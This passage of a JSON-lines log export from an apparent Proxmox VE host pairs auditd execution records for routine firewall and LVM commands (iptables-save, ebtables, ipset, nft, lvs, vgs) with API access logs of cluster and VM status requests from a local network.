exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965596079,"@rawstring":"node=pve type=EXECVE msg=audit(1781965596.079:66287): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966105799,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:35:04 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 922"} {"@timestamp":1781964509631,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964509.631:61325): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=58872 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965285360,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965285.360:64952): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62396 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965596071,"@rawstring":"node=pve type=EXECVE msg=audit(1781965596.071:66286): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966103766,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:35:03 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 501"} {"@timestamp":1781964506055,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964506.055:61322): arch=c000003e syscall=59 success=yes exit=0 a0=622875060e90 a1=62287505dc10 a2=62287503f680 a3=5 items=2 ppid=58865 pid=58871 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965285356,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965285.356:64951): arch=c000003e syscall=59 success=yes exit=0 a0=5850119a1e90 a1=58501199ec10 a2=585011980680 a3=5 items=2 ppid=62389 pid=62395 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965596063,"@rawstring":"node=pve type=EXECVE msg=audit(1781965596.063:66285): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966103766,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:35:02 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1148"} {"@timestamp":1781964506052,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964506.052:61321): arch=c000003e syscall=59 success=yes exit=0 a0=622870879ac8 a1=7ffe36748b80 a2=62287503f680 a3=62287085d24e items=2 ppid=58865 pid=58867 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965285352,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965285.352:64950): arch=c000003e syscall=59 success=yes exit=0 a0=584ffe68eac8 a1=7ffe58f1be80 a2=585011980680 a3=584ffe67224e items=2 ppid=62389 pid=62391 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965596052,"@rawstring":"node=pve type=EXECVE msg=audit(1781965596.052:66284): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966103766,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:35:02 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 927"} {"@timestamp":1781964506051,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964506.051:61320): arch=c000003e syscall=59 success=yes exit=0 a0=7ffe36748b40 a1=622875046310 a2=62287503f680 a3=5 items=2 ppid=58865 pid=58866 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965285352,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965285.352:64949): arch=c000003e syscall=59 success=yes exit=0 a0=7ffe58f1be40 a1=585011987360 a2=585011980680 a3=5 items=2 ppid=62389 pid=62390 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965596042,"@rawstring":"node=pve type=EXECVE msg=audit(1781965596.042:66282): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781966103766,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:35:02 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 506"} {"@timestamp":1781964506047,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964506.047:61318): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=58865 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965285348,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965285.348:64947): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=62389 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965596036,"@rawstring":"node=pve type=EXECVE msg=audit(1781965596.036:66281): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781966103766,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:35:02 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964506041,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964506.041:61317): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58864 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965285340,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965285.340:64946): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62388 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965596030,"@rawstring":"node=pve type=EXECVE msg=audit(1781965596.030:66280): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781966102765,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:35:01 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1135"} {"@timestamp":1781964506035,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964506.035:61316): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58863 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965285333,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965285.333:64945): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62387 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965596022,"@rawstring":"node=pve type=EXECVE msg=audit(1781965596.022:66279): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781966100860,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:35:00 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 934"} {"@timestamp":1781964506029,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964506.029:61315): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58862 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965285328,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965285.328:64944): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8ad9fc0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62386 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965596015,"@rawstring":"node=pve type=EXECVE msg=audit(1781965596.015:66278): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781966100860,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:35:00 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 512"} {"@timestamp":1781964506023,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964506.023:61314): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58861 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965285320,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965285.320:64943): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc13b360 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62385 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965596009,"@rawstring":"node=pve type=EXECVE msg=audit(1781965596.009:66277): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781966100860,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:34:59 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1148"} {"@timestamp":1781964506020,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964506.020:61313): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=59fcd3421740 items=0 ppid=1156 pid=58860 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781965285312,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965285.312:64942): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0e9ff0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62384 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965596000,"@rawstring":"node=pve type=EXECVE msg=audit(1781965596.000:66276): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966099751,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:34:58 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 933"} {"@timestamp":1781964506018,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964506.018:61312): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0ed1e0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58860 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781965284612,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965284.612:64941): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d740f3f0 a1=64f8d73e2130 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=62383 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965595992,"@rawstring":"node=pve type=EXECVE msg=audit(1781965595.992:66275): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966099751,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:34:58 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 510"} {"@timestamp":1781964506014,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964506.014:61311): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc14b0f0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58859 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965284585,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965284.585:64940): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d740b9f0 a1=64f8d74183f0 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=62382 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965595986,"@rawstring":"node=pve type=EXECVE msg=audit(1781965595.986:66274): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781966099751,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:34:58 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964506009,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964506.009:61310): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc146a90 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58858 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965282426,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965282.426:64939): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789955030 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=62379 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965595980,"@rawstring":"node=pve type=EXECVE msg=audit(1781965595.980:66273): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966098758,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:34:57 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1127"} {"@timestamp":1781964506004,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964506.004:61309): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc140870 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58857 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965282421,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965282.421:64936): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789954f70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=62378 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965595973,"@rawstring":"node=pve type=EXECVE msg=audit(1781965595.973:66272): argc=1 a0=\"date\""} {"@timestamp":1781966097740,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:34:57 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 513"} {"@timestamp":1781964505999,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964505.999:61308): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc146a90 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58856 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965277412,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965277.412:64933): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789954eb0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=62377 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965595962,"@rawstring":"node=pve type=EXECVE msg=audit(1781965595.962:66270): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781966097740,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:34:56 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1148"} {"@timestamp":1781964505994,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964505.994:61307): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8b053f0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58855 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965277404,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965277.404:64930): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789954df0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=62376 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965595950,"@rawstring":"node=pve type=EXECVE msg=audit(1781965595.950:66269): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966097740,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:34:56 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 922"} {"@timestamp":1781964505988,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964505.988:61306): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58854 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965275300,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965275.300:64927): arch=c000003e syscall=59 success=yes exit=0 a0=5d2a9827c0a0 a1=5d2a98278e20 a2=5d2a9825a680 a3=5 items=2 ppid=62369 pid=62375 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965595938,"@rawstring":"node=pve type=EXECVE msg=audit(1781965595.938:66268): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966095237,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:34:54 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 933"} {"@timestamp":1781964505982,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964505.982:61305): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58853 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965275296,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965275.296:64926): arch=c000003e syscall=59 success=yes exit=0 a0=5d2a7b6daac8 a1=7ffc20950040 a2=5d2a9825a680 a3=5d2a7b6be24e items=2 ppid=62369 pid=62371 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965595930,"@rawstring":"node=pve type=EXECVE msg=audit(1781965595.930:66267): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781966095237,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:34:54 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964505978,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964505.978:61304): arch=c000003e syscall=59 success=yes exit=0 a0=5ee0fb5990a0 a1=5ee0fb595e20 a2=5ee0fb577680 a3=5 items=2 ppid=58846 pid=58852 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965275294,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965275.294:64925): arch=c000003e syscall=59 success=yes exit=0 a0=7ffc20950000 a1=5d2a98277d10 a2=5d2a9825a680 a3=5 items=2 ppid=62369 pid=62370 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965595921,"@rawstring":"node=pve type=EXECVE msg=audit(1781965595.921:66266): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781966095237,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:34:54 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 508"} {"@timestamp":1781964505976,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964505.976:61303): arch=c000003e syscall=59 success=yes exit=0 a0=5ee0dce3eac8 a1=7fff1d516ed0 a2=5ee0fb577680 a3=5ee0dce2224e items=2 ppid=58846 pid=58848 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965275290,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965275.290:64923): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=62369 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965595911,"@rawstring":"node=pve type=EXECVE msg=audit(1781965595.911:66265): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781966095237,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:34:54 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 501"} {"@timestamp":1781964505974,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964505.974:61302): arch=c000003e syscall=59 success=yes exit=0 a0=7fff1d516e90 a1=5ee0fb57e310 a2=5ee0fb577680 a3=5 items=2 ppid=58846 pid=58847 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965275284,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965275.284:64922): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62368 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965594409,"@rawstring":"node=pve type=EXECVE msg=audit(1781965594.409:66264): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781966093813,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:34:53 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1129"} {"@timestamp":1781964505971,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964505.971:61300): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=58846 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965275274,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965275.274:64921): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62367 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965594375,"@rawstring":"node=pve type=EXECVE msg=audit(1781965594.375:66263): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" 